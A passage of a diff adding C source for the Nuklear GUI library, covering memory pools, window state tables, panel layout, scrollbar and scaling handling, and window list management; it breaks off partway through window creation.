buffer = (nk_byte*)ctx->memory.memory.ptr; + next = nk_ptr_add_const(struct nk_command, buffer, cmd->next); + return next; +} + + + + + + +/* =============================================================== + * + * POOL + * + * ===============================================================*/ +NK_LIB void +nk_pool_init(struct nk_pool *pool, struct nk_allocator *alloc, + unsigned int capacity) +{ + nk_zero(pool, sizeof(*pool)); + pool->alloc = *alloc; + pool->capacity = capacity; + pool->type = NK_BUFFER_DYNAMIC; + pool->pages = 0; +} +NK_LIB void +nk_pool_free(struct nk_pool *pool) +{ + struct nk_page *iter = pool->pages; + if (!pool) return; + if (pool->type == NK_BUFFER_FIXED) return; + while (iter) { + struct nk_page *next = iter->next; + pool->alloc.free(pool->alloc.userdata, iter); + iter = next; + } +} +NK_LIB void +nk_pool_init_fixed(struct nk_pool *pool, void *memory, nk_size size) +{ + nk_zero(pool, sizeof(*pool)); + NK_ASSERT(size >= sizeof(struct nk_page)); + if (size < sizeof(struct nk_page)) return; + pool->capacity = (unsigned)(size - sizeof(struct nk_page)) / sizeof(struct nk_page_element); + pool->pages = (struct nk_page*)memory; + pool->type = NK_BUFFER_FIXED; + pool->size = size; +} +NK_LIB struct nk_page_element* +nk_pool_alloc(struct nk_pool *pool) +{ + if (!pool->pages || pool->pages->size >= pool->capacity) { + /* allocate new page */ + struct nk_page *page; + if (pool->type == NK_BUFFER_FIXED) { + NK_ASSERT(pool->pages); + if (!pool->pages) return 0; + NK_ASSERT(pool->pages->size < pool->capacity); + return 0; + } else { + nk_size size = sizeof(struct nk_page); + size += NK_POOL_DEFAULT_CAPACITY * sizeof(union nk_page_data); + page = (struct nk_page*)pool->alloc.alloc(pool->alloc.userdata,0, size); + page->next = pool->pages; + pool->pages = page; + page->size = 0; + } + } return &pool->pages->win[pool->pages->size++]; +} + + + + + +/* =============================================================== + * + * PAGE ELEMENT + * + * ===============================================================*/ +NK_LIB struct nk_page_element* +nk_create_page_element(struct nk_context *ctx) +{ + struct nk_page_element *elem; + if (ctx->freelist) { + /* unlink page element from free list */ + elem = ctx->freelist; + ctx->freelist = elem->next; + } else if (ctx->use_pool) { + /* allocate page element from memory pool */ + elem = nk_pool_alloc(&ctx->pool); + NK_ASSERT(elem); + if (!elem) return 0; + } else { + /* allocate new page element from back of fixed size memory buffer */ + NK_STORAGE const nk_size size = sizeof(struct nk_page_element); + NK_STORAGE const nk_size align = NK_ALIGNOF(struct nk_page_element); + elem = (struct nk_page_element*)nk_buffer_alloc(&ctx->memory, NK_BUFFER_BACK, size, align); + NK_ASSERT(elem); + if (!elem) return 0; + } + nk_zero_struct(*elem); + elem->next = 0; + elem->prev = 0; + return elem; +} +NK_LIB void +nk_link_page_element_into_freelist(struct nk_context *ctx, + struct nk_page_element *elem) +{ + /* link table into freelist */ + if (!ctx->freelist) { + ctx->freelist = elem; + } else { + elem->next = ctx->freelist; + ctx->freelist = elem; + } +} +NK_LIB void +nk_free_page_element(struct nk_context *ctx, struct nk_page_element *elem) +{ + /* we have a pool so just add to free list */ + if (ctx->use_pool) { + nk_link_page_element_into_freelist(ctx, elem); + return; + } + /* if possible remove last element from back of fixed memory buffer */ + {void *elem_end = (void*)(elem + 1); + void *buffer_end = (nk_byte*)ctx->memory.memory.ptr + ctx->memory.size; + if (elem_end == buffer_end) + ctx->memory.size -= sizeof(struct nk_page_element); + else nk_link_page_element_into_freelist(ctx, elem);} +} + + + + + +/* =============================================================== + * + * TABLE + * + * ===============================================================*/ +NK_LIB struct nk_table* +nk_create_table(struct nk_context *ctx) +{ + struct nk_page_element *elem; + elem = nk_create_page_element(ctx); + if (!elem) return 0; + nk_zero_struct(*elem); + return &elem->data.tbl; +} +NK_LIB void +nk_free_table(struct nk_context *ctx, struct nk_table *tbl) +{ + union nk_page_data *pd = NK_CONTAINER_OF(tbl, union nk_page_data, tbl); + struct nk_page_element *pe = NK_CONTAINER_OF(pd, struct nk_page_element, data); + nk_free_page_element(ctx, pe); +} +NK_LIB void +nk_push_table(struct nk_window *win, struct nk_table *tbl) +{ + if (!win->tables) { + win->tables = tbl; + tbl->next = 0; + tbl->prev = 0; + tbl->size = 0; + win->table_count = 1; + return; + } + win->tables->prev = tbl; + tbl->next = win->tables; + tbl->prev = 0; + tbl->size = 0; + win->tables = tbl; + win->table_count++; +} +NK_LIB void +nk_remove_table(struct nk_window *win, struct nk_table *tbl) +{ + if (win->tables == tbl) + win->tables = tbl->next; + if (tbl->next) + tbl->next->prev = tbl->prev; + if (tbl->prev) + tbl->prev->next = tbl->next; + tbl->next = 0; + tbl->prev = 0; +} +NK_LIB nk_uint* +nk_add_value(struct nk_context *ctx, struct nk_window *win, + nk_hash name, nk_uint value) +{ + NK_ASSERT(ctx); + NK_ASSERT(win); + if (!win || !ctx) return 0; + if (!win->tables || win->tables->size >= NK_VALUE_PAGE_CAPACITY) { + struct nk_table *tbl = nk_create_table(ctx); + NK_ASSERT(tbl); + if (!tbl) return 0; + nk_push_table(win, tbl); + } + win->tables->seq = win->seq; + win->tables->keys[win->tables->size] = name; + win->tables->values[win->tables->size] = value; + return &win->tables->values[win->tables->size++]; +} +NK_LIB nk_uint* +nk_find_value(struct nk_window *win, nk_hash name) +{ + struct nk_table *iter = win->tables; + while (iter) { + unsigned int i = 0; + unsigned int size = iter->size; + for (i = 0; i < size; ++i) { + if (iter->keys[i] == name) { + iter->seq = win->seq; + return &iter->values[i]; + } + } size = NK_VALUE_PAGE_CAPACITY; + iter = iter->next; + } + return 0; +} + + + + + +/* =============================================================== + * + * PANEL + * + * ===============================================================*/ +NK_LIB void* +nk_create_panel(struct nk_context *ctx) +{ + struct nk_page_element *elem; + elem = nk_create_page_element(ctx); + if (!elem) return 0; + nk_zero_struct(*elem); + return &elem->data.pan; +} +NK_LIB void +nk_free_panel(struct nk_context *ctx, struct nk_panel *pan) +{ + union nk_page_data *pd = NK_CONTAINER_OF(pan, union nk_page_data, pan); + struct nk_page_element *pe = NK_CONTAINER_OF(pd, struct nk_page_element, data); + nk_free_page_element(ctx, pe); +} +NK_LIB int +nk_panel_has_header(nk_flags flags, const char *title) +{ + int active = 0; + active = (flags & (NK_WINDOW_CLOSABLE|NK_WINDOW_MINIMIZABLE)); + active = active || (flags & NK_WINDOW_TITLE); + active = active && !(flags & NK_WINDOW_HIDDEN) && title; + return active; +} +NK_LIB struct nk_vec2 +nk_panel_get_padding(const struct nk_style *style, enum nk_panel_type type) +{ + switch (type) { + default: + case NK_PANEL_WINDOW: return style->window.padding; + case NK_PANEL_GROUP: return style->window.group_padding; + case NK_PANEL_POPUP: return style->window.popup_padding; + case NK_PANEL_CONTEXTUAL: return style->window.contextual_padding; + case NK_PANEL_COMBO: return style->window.combo_padding; + case NK_PANEL_MENU: return style->window.menu_padding; + case NK_PANEL_TOOLTIP: return style->window.menu_padding;} +} +NK_LIB float +nk_panel_get_border(const struct nk_style *style, nk_flags flags, + enum nk_panel_type type) +{ + if (flags & NK_WINDOW_BORDER) { + switch (type) { + default: + case NK_PANEL_WINDOW: return style->window.border; + case NK_PANEL_GROUP: return style->window.group_border; + case NK_PANEL_POPUP: return style->window.popup_border; + case NK_PANEL_CONTEXTUAL: return style->window.contextual_border; + case NK_PANEL_COMBO: return style->window.combo_border; + case NK_PANEL_MENU: return style->window.menu_border; + case NK_PANEL_TOOLTIP: return style->window.menu_border; + }} else return 0; +} +NK_LIB struct nk_color +nk_panel_get_border_color(const struct nk_style *style, enum nk_panel_type type) +{ + switch (type) { + default: + case NK_PANEL_WINDOW: return style->window.border_color; + case NK_PANEL_GROUP: return style->window.group_border_color; + case NK_PANEL_POPUP: return style->window.popup_border_color; + case NK_PANEL_CONTEXTUAL: return style->window.contextual_border_color; + case NK_PANEL_COMBO: return style->window.combo_border_color; + case NK_PANEL_MENU: return style->window.menu_border_color; + case NK_PANEL_TOOLTIP: return style->window.menu_border_color;} +} +NK_LIB int +nk_panel_is_sub(enum nk_panel_type type) +{ + return (type & NK_PANEL_SET_SUB)?1:0; +} +NK_LIB int +nk_panel_is_nonblock(enum nk_panel_type type) +{ + return (type & NK_PANEL_SET_NONBLOCK)?1:0; +} +NK_LIB int +nk_panel_begin(struct nk_context *ctx, const char *title, enum nk_panel_type panel_type) +{ + struct nk_input *in; + struct nk_window *win; + struct nk_panel *layout; + struct nk_command_buffer *out; + const struct nk_style *style; + const struct nk_user_font *font; + + struct nk_vec2 scrollbar_size; + struct nk_vec2 panel_padding; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) return 0; + nk_zero(ctx->current->layout, sizeof(*ctx->current->layout)); + if ((ctx->current->flags & NK_WINDOW_HIDDEN) || (ctx->current->flags & NK_WINDOW_CLOSED)) { + nk_zero(ctx->current->layout, sizeof(struct nk_panel)); + ctx->current->layout->type = panel_type; + return 0; + } + /* pull state into local stack */ + style = &ctx->style; + font = style->font; + win = ctx->current; + layout = win->layout; + out = &win->buffer; + in = (win->flags & NK_WINDOW_NO_INPUT) ? 0: &ctx->input; +#ifdef NK_INCLUDE_COMMAND_USERDATA + win->buffer.userdata = ctx->userdata; +#endif + /* pull style configuration into local stack */ + scrollbar_size = style->window.scrollbar_size; + panel_padding = nk_panel_get_padding(style, panel_type); + + /* window movement */ + if ((win->flags & NK_WINDOW_MOVABLE) && !(win->flags & NK_WINDOW_ROM)) { + int left_mouse_down; + int left_mouse_clicked; + int left_mouse_click_in_cursor; + + /* calculate draggable window space */ + struct nk_rect header; + header.x = win->bounds.x; + header.y = win->bounds.y; + header.w = win->bounds.w; + if (nk_panel_has_header(win->flags, title)) { + header.h = font->height + 2.0f * style->window.header.padding.y; + header.h += 2.0f * style->window.header.label_padding.y; + } else header.h = panel_padding.y; + + /* window movement by dragging */ + left_mouse_down = in->mouse.buttons[NK_BUTTON_LEFT].down; + left_mouse_clicked = (int)in->mouse.buttons[NK_BUTTON_LEFT].clicked; + left_mouse_click_in_cursor = nk_input_has_mouse_click_down_in_rect(in, + NK_BUTTON_LEFT, header, nk_true); + if (left_mouse_down && left_mouse_click_in_cursor && !left_mouse_clicked) { + win->bounds.x = win->bounds.x + in->mouse.delta.x; + win->bounds.y = win->bounds.y + in->mouse.delta.y; + in->mouse.buttons[NK_BUTTON_LEFT].clicked_pos.x += in->mouse.delta.x; + in->mouse.buttons[NK_BUTTON_LEFT].clicked_pos.y += in->mouse.delta.y; + ctx->style.cursor_active = ctx->style.cursors[NK_CURSOR_MOVE]; + } + } + + /* setup panel */ + layout->type = panel_type; + layout->flags = win->flags; + layout->bounds = win->bounds; + layout->bounds.x += panel_padding.x; + layout->bounds.w -= 2*panel_padding.x; + if (win->flags & NK_WINDOW_BORDER) { + layout->border = nk_panel_get_border(style, win->flags, panel_type); + layout->bounds = nk_shrink_rect(layout->bounds, layout->border); + } else layout->border = 0; + layout->at_y = layout->bounds.y; + layout->at_x = layout->bounds.x; + layout->max_x = 0; + layout->header_height = 0; + layout->footer_height = 0; + nk_layout_reset_min_row_height(ctx); + layout->row.index = 0; + layout->row.columns = 0; + layout->row.ratio = 0; + layout->row.item_width = 0; + layout->row.tree_depth = 0; + layout->row.height = panel_padding.y; + layout->has_scrolling = nk_true; + if (!(win->flags & NK_WINDOW_NO_SCROLLBAR)) + layout->bounds.w -= scrollbar_size.x; + if (!nk_panel_is_nonblock(panel_type)) { + layout->footer_height = 0; + if (!(win->flags & NK_WINDOW_NO_SCROLLBAR) || win->flags & NK_WINDOW_SCALABLE) + layout->footer_height = scrollbar_size.y; + layout->bounds.h -= layout->footer_height; + } + + /* panel header */ + if (nk_panel_has_header(win->flags, title)) + { + struct nk_text text; + struct nk_rect header; + const struct nk_style_item *background = 0; + + /* calculate header bounds */ + header.x = win->bounds.x; + header.y = win->bounds.y; + header.w = win->bounds.w; + header.h = font->height + 2.0f * style->window.header.padding.y; + header.h += (2.0f * style->window.header.label_padding.y); + + /* shrink panel by header */ + layout->header_height = header.h; + layout->bounds.y += header.h; + layout->bounds.h -= header.h; + layout->at_y += header.h; + + /* select correct header background and text color */ + if (ctx->active == win) { + background = &style->window.header.active; + text.text = style->window.header.label_active; + } else if (nk_input_is_mouse_hovering_rect(&ctx->input, header)) { + background = &style->window.header.hover; + text.text = style->window.header.label_hover; + } else { + background = &style->window.header.normal; + text.text = style->window.header.label_normal; + } + + /* draw header background */ + header.h += 1.0f; + if (background->type == NK_STYLE_ITEM_IMAGE) { + text.background = nk_rgba(0,0,0,0); + nk_draw_image(&win->buffer, header, &background->data.image, nk_white); + } else { + text.background = background->data.color; + nk_fill_rect(out, header, 0, background->data.color); + } + + /* window close button */ + {struct nk_rect button; + button.y = header.y + style->window.header.padding.y; + button.h = header.h - 2 * style->window.header.padding.y; + button.w = button.h; + if (win->flags & NK_WINDOW_CLOSABLE) { + nk_flags ws = 0; + if (style->window.header.align == NK_HEADER_RIGHT) { + button.x = (header.w + header.x) - (button.w + style->window.header.padding.x); + header.w -= button.w + style->window.header.spacing.x + style->window.header.padding.x; + } else { + button.x = header.x + style->window.header.padding.x; + header.x += button.w + style->window.header.spacing.x + style->window.header.padding.x; + } + + if (nk_do_button_symbol(&ws, &win->buffer, button, + style->window.header.close_symbol, NK_BUTTON_DEFAULT, + &style->window.header.close_button, in, style->font) && !(win->flags & NK_WINDOW_ROM)) + { + layout->flags |= NK_WINDOW_HIDDEN; + layout->flags &= (nk_flags)~NK_WINDOW_MINIMIZED; + } + } + + /* window minimize button */ + if (win->flags & NK_WINDOW_MINIMIZABLE) { + nk_flags ws = 0; + if (style->window.header.align == NK_HEADER_RIGHT) { + button.x = (header.w + header.x) - button.w; + if (!(win->flags & NK_WINDOW_CLOSABLE)) { + button.x -= style->window.header.padding.x; + header.w -= style->window.header.padding.x; + } + header.w -= button.w + style->window.header.spacing.x; + } else { + button.x = header.x; + header.x += button.w + style->window.header.spacing.x + style->window.header.padding.x; + } + if (nk_do_button_symbol(&ws, &win->buffer, button, (layout->flags & NK_WINDOW_MINIMIZED)? + style->window.header.maximize_symbol: style->window.header.minimize_symbol, + NK_BUTTON_DEFAULT, &style->window.header.minimize_button, in, style->font) && !(win->flags & NK_WINDOW_ROM)) + layout->flags = (layout->flags & NK_WINDOW_MINIMIZED) ? + layout->flags & (nk_flags)~NK_WINDOW_MINIMIZED: + layout->flags | NK_WINDOW_MINIMIZED; + }} + + {/* window header title */ + int text_len = nk_strlen(title); + struct nk_rect label = {0,0,0,0}; + float t = font->width(font->userdata, font->height, title, text_len); + text.padding = nk_vec2(0,0); + + label.x = header.x + style->window.header.padding.x; + label.x += style->window.header.label_padding.x; + label.y = header.y + style->window.header.label_padding.y; + label.h = font->height + 2 * style->window.header.label_padding.y; + label.w = t + 2 * style->window.header.spacing.x; + label.w = NK_CLAMP(0, label.w, header.x + header.w - label.x); + nk_widget_text(out, label,(const char*)title, text_len, &text, NK_TEXT_LEFT, font);} + } + + /* draw window background */ + if (!(layout->flags & NK_WINDOW_MINIMIZED) && !(layout->flags & NK_WINDOW_DYNAMIC)) { + struct nk_rect body; + body.x = win->bounds.x; + body.w = win->bounds.w; + body.y = (win->bounds.y + layout->header_height); + body.h = (win->bounds.h - layout->header_height); + if (style->window.fixed_background.type == NK_STYLE_ITEM_IMAGE) + nk_draw_image(out, body, &style->window.fixed_background.data.image, nk_white); + else nk_fill_rect(out, body, 0, style->window.fixed_background.data.color); + } + + /* set clipping rectangle */ + {struct nk_rect clip; + layout->clip = layout->bounds; + nk_unify(&clip, &win->buffer.clip, layout->clip.x, layout->clip.y, + layout->clip.x + layout->clip.w, layout->clip.y + layout->clip.h); + nk_push_scissor(out, clip); + layout->clip = clip;} + return !(layout->flags & NK_WINDOW_HIDDEN) && !(layout->flags & NK_WINDOW_MINIMIZED); +} +NK_LIB void +nk_panel_end(struct nk_context *ctx) +{ + struct nk_input *in; + struct nk_window *window; + struct nk_panel *layout; + const struct nk_style *style; + struct nk_command_buffer *out; + + struct nk_vec2 scrollbar_size; + struct nk_vec2 panel_padding; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + window = ctx->current; + layout = window->layout; + style = &ctx->style; + out = &window->buffer; + in = (layout->flags & NK_WINDOW_ROM || layout->flags & NK_WINDOW_NO_INPUT) ? 0 :&ctx->input; + if (!nk_panel_is_sub(layout->type)) + nk_push_scissor(out, nk_null_rect); + + /* cache configuration data */ + scrollbar_size = style->window.scrollbar_size; + panel_padding = nk_panel_get_padding(style, layout->type); + + /* update the current cursor Y-position to point over the last added widget */ + layout->at_y += layout->row.height; + + /* dynamic panels */ + if (layout->flags & NK_WINDOW_DYNAMIC && !(layout->flags & NK_WINDOW_MINIMIZED)) + { + /* update panel height to fit dynamic growth */ + struct nk_rect empty_space; + if (layout->at_y < (layout->bounds.y + layout->bounds.h)) + layout->bounds.h = layout->at_y - layout->bounds.y; + + /* fill top empty space */ + empty_space.x = window->bounds.x; + empty_space.y = layout->bounds.y; + empty_space.h = panel_padding.y; + empty_space.w = window->bounds.w; + nk_fill_rect(out, empty_space, 0, style->window.background); + + /* fill left empty space */ + empty_space.x = window->bounds.x; + empty_space.y = layout->bounds.y; + empty_space.w = panel_padding.x + layout->border; + empty_space.h = layout->bounds.h; + nk_fill_rect(out, empty_space, 0, style->window.background); + + /* fill right empty space */ + empty_space.x = layout->bounds.x + layout->bounds.w; + empty_space.y = layout->bounds.y; + empty_space.w = panel_padding.x + layout->border; + empty_space.h = layout->bounds.h; + if (*layout->offset_y == 0 && !(layout->flags & NK_WINDOW_NO_SCROLLBAR)) + empty_space.w += scrollbar_size.x; + nk_fill_rect(out, empty_space, 0, style->window.background); + + /* fill bottom empty space */ + if (layout->footer_height > 0) { + empty_space.x = window->bounds.x; + empty_space.y = layout->bounds.y + layout->bounds.h; + empty_space.w = window->bounds.w; + empty_space.h = layout->footer_height; + nk_fill_rect(out, empty_space, 0, style->window.background); + } + } + + /* scrollbars */ + if (!(layout->flags & NK_WINDOW_NO_SCROLLBAR) && + !(layout->flags & NK_WINDOW_MINIMIZED) && + window->scrollbar_hiding_timer < NK_SCROLLBAR_HIDING_TIMEOUT) + { + struct nk_rect scroll; + int scroll_has_scrolling; + float scroll_target; + float scroll_offset; + float scroll_step; + float scroll_inc; + + /* mouse wheel scrolling */ + if (nk_panel_is_sub(layout->type)) + { + /* sub-window mouse wheel scrolling */ + struct nk_window *root_window = window; + struct nk_panel *root_panel = window->layout; + while (root_panel->parent) + root_panel = root_panel->parent; + while (root_window->parent) + root_window = root_window->parent; + + /* only allow scrolling if parent window is active */ + scroll_has_scrolling = 0; + if ((root_window == ctx->active) && layout->has_scrolling) { + /* and panel is being hovered and inside clip rect*/ + if (nk_input_is_mouse_hovering_rect(in, layout->bounds) && + NK_INTERSECT(layout->bounds.x, layout->bounds.y, layout->bounds.w, layout->bounds.h, + root_panel->clip.x, root_panel->clip.y, root_panel->clip.w, root_panel->clip.h)) + { + /* deactivate all parent scrolling */ + root_panel = window->layout; + while (root_panel->parent) { + root_panel->has_scrolling = nk_false; + root_panel = root_panel->parent; + } + root_panel->has_scrolling = nk_false; + scroll_has_scrolling = nk_true; + } + } + } else if (!nk_panel_is_sub(layout->type)) { + /* window mouse wheel scrolling */ + scroll_has_scrolling = (window == ctx->active) && layout->has_scrolling; + if (in && (in->mouse.scroll_delta.y > 0 || in->mouse.scroll_delta.x > 0) && scroll_has_scrolling) + window->scrolled = nk_true; + else window->scrolled = nk_false; + } else scroll_has_scrolling = nk_false; + + { + /* vertical scrollbar */ + nk_flags state = 0; + scroll.x = layout->bounds.x + layout->bounds.w + panel_padding.x; + scroll.y = layout->bounds.y; + scroll.w = scrollbar_size.x; + scroll.h = layout->bounds.h; + + scroll_offset = (float)*layout->offset_y; + scroll_step = scroll.h * 0.10f; + scroll_inc = scroll.h * 0.01f; + scroll_target = (float)(int)(layout->at_y - scroll.y); + scroll_offset = nk_do_scrollbarv(&state, out, scroll, scroll_has_scrolling, + scroll_offset, scroll_target, scroll_step, scroll_inc, + &ctx->style.scrollv, in, style->font); + *layout->offset_y = (nk_uint)scroll_offset; + if (in && scroll_has_scrolling) + in->mouse.scroll_delta.y = 0; + } + { + /* horizontal scrollbar */ + nk_flags state = 0; + scroll.x = layout->bounds.x; + scroll.y = layout->bounds.y + layout->bounds.h; + scroll.w = layout->bounds.w; + scroll.h = scrollbar_size.y; + + scroll_offset = (float)*layout->offset_x; + scroll_target = (float)(int)(layout->max_x - scroll.x); + scroll_step = layout->max_x * 0.05f; + scroll_inc = layout->max_x * 0.005f; + scroll_offset = nk_do_scrollbarh(&state, out, scroll, scroll_has_scrolling, + scroll_offset, scroll_target, scroll_step, scroll_inc, + &ctx->style.scrollh, in, style->font); + *layout->offset_x = (nk_uint)scroll_offset; + } + } + + /* hide scroll if no user input */ + if (window->flags & NK_WINDOW_SCROLL_AUTO_HIDE) { + int has_input = ctx->input.mouse.delta.x != 0 || ctx->input.mouse.delta.y != 0 || ctx->input.mouse.scroll_delta.y != 0; + int is_window_hovered = nk_window_is_hovered(ctx); + int any_item_active = (ctx->last_widget_state & NK_WIDGET_STATE_MODIFIED); + if ((!has_input && is_window_hovered) || (!is_window_hovered && !any_item_active)) + window->scrollbar_hiding_timer += ctx->delta_time_seconds; + else window->scrollbar_hiding_timer = 0; + } else window->scrollbar_hiding_timer = 0; + + /* window border */ + if (layout->flags & NK_WINDOW_BORDER) + { + struct nk_color border_color = nk_panel_get_border_color(style, layout->type); + const float padding_y = (layout->flags & NK_WINDOW_MINIMIZED) + ? (style->window.border + window->bounds.y + layout->header_height) + : ((layout->flags & NK_WINDOW_DYNAMIC) + ? (layout->bounds.y + layout->bounds.h + layout->footer_height) + : (window->bounds.y + window->bounds.h)); + struct nk_rect b = window->bounds; + b.h = padding_y - window->bounds.y; + nk_stroke_rect(out, b, 0, layout->border, border_color); + } + + /* scaler */ + if ((layout->flags & NK_WINDOW_SCALABLE) && in && !(layout->flags & NK_WINDOW_MINIMIZED)) + { + /* calculate scaler bounds */ + struct nk_rect scaler; + scaler.w = scrollbar_size.x; + scaler.h = scrollbar_size.y; + scaler.y = layout->bounds.y + layout->bounds.h; + if (layout->flags & NK_WINDOW_SCALE_LEFT) + scaler.x = layout->bounds.x - panel_padding.x * 0.5f; + else scaler.x = layout->bounds.x + layout->bounds.w + panel_padding.x; + if (layout->flags & NK_WINDOW_NO_SCROLLBAR) + scaler.x -= scaler.w; + + /* draw scaler */ + {const struct nk_style_item *item = &style->window.scaler; + if (item->type == NK_STYLE_ITEM_IMAGE) + nk_draw_image(out, scaler, &item->data.image, nk_white); + else { + if (layout->flags & NK_WINDOW_SCALE_LEFT) { + nk_fill_triangle(out, scaler.x, scaler.y, scaler.x, + scaler.y + scaler.h, scaler.x + scaler.w, + scaler.y + scaler.h, item->data.color); + } else { + nk_fill_triangle(out, scaler.x + scaler.w, scaler.y, scaler.x + scaler.w, + scaler.y + scaler.h, scaler.x, scaler.y + scaler.h, item->data.color); + } + }} + + /* do window scaling */ + if (!(window->flags & NK_WINDOW_ROM)) { + struct nk_vec2 window_size = style->window.min_size; + int left_mouse_down = in->mouse.buttons[NK_BUTTON_LEFT].down; + int left_mouse_click_in_scaler = nk_input_has_mouse_click_down_in_rect(in, + NK_BUTTON_LEFT, scaler, nk_true); + + if (left_mouse_down && left_mouse_click_in_scaler) { + float delta_x = in->mouse.delta.x; + if (layout->flags & NK_WINDOW_SCALE_LEFT) { + delta_x = -delta_x; + window->bounds.x += in->mouse.delta.x; + } + /* dragging in x-direction */ + if (window->bounds.w + delta_x >= window_size.x) { + if ((delta_x < 0) || (delta_x > 0 && in->mouse.pos.x >= scaler.x)) { + window->bounds.w = window->bounds.w + delta_x; + scaler.x += in->mouse.delta.x; + } + } + /* dragging in y-direction (only possible if static window) */ + if (!(layout->flags & NK_WINDOW_DYNAMIC)) { + if (window_size.y < window->bounds.h + in->mouse.delta.y) { + if ((in->mouse.delta.y < 0) || (in->mouse.delta.y > 0 && in->mouse.pos.y >= scaler.y)) { + window->bounds.h = window->bounds.h + in->mouse.delta.y; + scaler.y += in->mouse.delta.y; + } + } + } + ctx->style.cursor_active = ctx->style.cursors[NK_CURSOR_RESIZE_TOP_RIGHT_DOWN_LEFT]; + in->mouse.buttons[NK_BUTTON_LEFT].clicked_pos.x = scaler.x + scaler.w/2.0f; + in->mouse.buttons[NK_BUTTON_LEFT].clicked_pos.y = scaler.y + scaler.h/2.0f; + } + } + } + if (!nk_panel_is_sub(layout->type)) { + /* window is hidden so clear command buffer */ + if (layout->flags & NK_WINDOW_HIDDEN) + nk_command_buffer_reset(&window->buffer); + /* window is visible and not tab */ + else nk_finish(ctx, window); + } + + /* NK_WINDOW_REMOVE_ROM flag was set so remove NK_WINDOW_ROM */ + if (layout->flags & NK_WINDOW_REMOVE_ROM) { + layout->flags &= ~(nk_flags)NK_WINDOW_ROM; + layout->flags &= ~(nk_flags)NK_WINDOW_REMOVE_ROM; + } + window->flags = layout->flags; + + /* property garbage collector */ + if (window->property.active && window->property.old != window->property.seq && + window->property.active == window->property.prev) { + nk_zero(&window->property, sizeof(window->property)); + } else { + window->property.old = window->property.seq; + window->property.prev = window->property.active; + window->property.seq = 0; + } + /* edit garbage collector */ + if (window->edit.active && window->edit.old != window->edit.seq && + window->edit.active == window->edit.prev) { + nk_zero(&window->edit, sizeof(window->edit)); + } else { + window->edit.old = window->edit.seq; + window->edit.prev = window->edit.active; + window->edit.seq = 0; + } + /* contextual garbage collector */ + if (window->popup.active_con && window->popup.con_old != window->popup.con_count) { + window->popup.con_count = 0; + window->popup.con_old = 0; + window->popup.active_con = 0; + } else { + window->popup.con_old = window->popup.con_count; + window->popup.con_count = 0; + } + window->popup.combo_count = 0; + /* helper to make sure you have a 'nk_tree_push' for every 'nk_tree_pop' */ + NK_ASSERT(!layout->row.tree_depth); +} + + + + + +/* =============================================================== + * + * WINDOW + * + * ===============================================================*/ +NK_LIB void* +nk_create_window(struct nk_context *ctx) +{ + struct nk_page_element *elem; + elem = nk_create_page_element(ctx); + if (!elem) return 0; + elem->data.win.seq = ctx->seq; + return &elem->data.win; +} +NK_LIB void +nk_free_window(struct nk_context *ctx, struct nk_window *win) +{ + /* unlink windows from list */ + struct nk_table *it = win->tables; + if (win->popup.win) { + nk_free_window(ctx, win->popup.win); + win->popup.win = 0; + } + win->next = 0; + win->prev = 0; + + while (it) { + /*free window state tables */ + struct nk_table *n = it->next; + nk_remove_table(win, it); + nk_free_table(ctx, it); + if (it == win->tables) + win->tables = n; + it = n; + } + + /* link windows into freelist */ + {union nk_page_data *pd = NK_CONTAINER_OF(win, union nk_page_data, win); + struct nk_page_element *pe = NK_CONTAINER_OF(pd, struct nk_page_element, data); + nk_free_page_element(ctx, pe);} +} +NK_LIB struct nk_window* +nk_find_window(struct nk_context *ctx, nk_hash hash, const char *name) +{ + struct nk_window *iter; + iter = ctx->begin; + while (iter) { + NK_ASSERT(iter != iter->next); + if (iter->name == hash) { + int max_len = nk_strlen(iter->name_string); + if (!nk_stricmpn(iter->name_string, name, max_len)) + return iter; + } + iter = iter->next; + } + return 0; +} +NK_LIB void +nk_insert_window(struct nk_context *ctx, struct nk_window *win, + enum nk_window_insert_location loc) +{ + const struct nk_window *iter; + NK_ASSERT(ctx); + NK_ASSERT(win); + if (!win || !ctx) return; + + iter = ctx->begin; + while (iter) { + NK_ASSERT(iter != iter->next); + NK_ASSERT(iter != win); + if (iter == win) return; + iter = iter->next; + } + + if (!ctx->begin) { + win->next = 0; + win->prev = 0; + ctx->begin = win; + ctx->end = win; + ctx->count = 1; + return; + } + if (loc == NK_INSERT_BACK) { + struct nk_window *end; + end = ctx->end; + end->flags |= NK_WINDOW_ROM; + end->next = win; + win->prev = ctx->end; + win->next = 0; + ctx->end = win; + ctx->active = ctx->end; + ctx->end->flags &= ~(nk_flags)NK_WINDOW_ROM; + } else { + /*ctx->end->flags |= NK_WINDOW_ROM;*/ + ctx->begin->prev = win; + win->next = ctx->begin; + win->prev = 0; + ctx->begin = win; + ctx->begin->flags &= ~(nk_flags)NK_WINDOW_ROM; + } + ctx->count++; +} +NK_LIB void +nk_remove_window(struct nk_context *ctx, struct nk_window *win) +{ + if (win == ctx->begin || win == ctx->end) { + if (win == ctx->begin) { + ctx->begin = win->next; + if (win->next) + win->next->prev = 0; + } + if (win == ctx->end) { + ctx->end = win->prev; + if (win->prev) + win->prev->next = 0; + } + } else { + if (win->next) + win->next->prev = win->prev; + if (win->prev) + win->prev->next = win->next; + } + if (win == ctx->active || !ctx->active) { + ctx->active = ctx->end; + if (ctx->end) + ctx->end->flags &= ~(nk_flags)NK_WINDOW_ROM; + } + win->next = 0; + win->prev = 0; + ctx->count--; +} +NK_API int +nk_begin(struct nk_context *ctx, const char *title, + struct nk_rect bounds, nk_flags flags) +{ + return nk_begin_titled(ctx, title, title, bounds, flags); +} +NK_API int +nk_begin_titled(struct nk_context *ctx, const char *name, const char *title, + struct nk_rect bounds, nk_flags flags) +{ + struct nk_window *win; + struct nk_style *style; + nk_hash name_hash; + int name_len; + int ret = 0; + + NK_ASSERT(ctx); + NK_ASSERT(name); + NK_ASSERT(title); + NK_ASSERT(ctx->style.font && ctx->style.font->width && "if this triggers you forgot to add a font"); + NK_ASSERT(!ctx->current && "if this triggers you missed a `nk_end` call"); + if (!ctx || ctx->current || !title || !name) + return 0; + + /* find or create window */ + style = &ctx->style; + name_len = (int)nk_strlen(name); + name_hash = nk_murmur_hash(name, (int)name_len, NK_WINDOW_TITLE); + win = nk_find_window(ctx, name_hash, name); + if (!win) { + /* create new window */ + nk_size name_length = (nk_size)name_len; + win = (struct nk_window*)nk_create_window(ctx); + 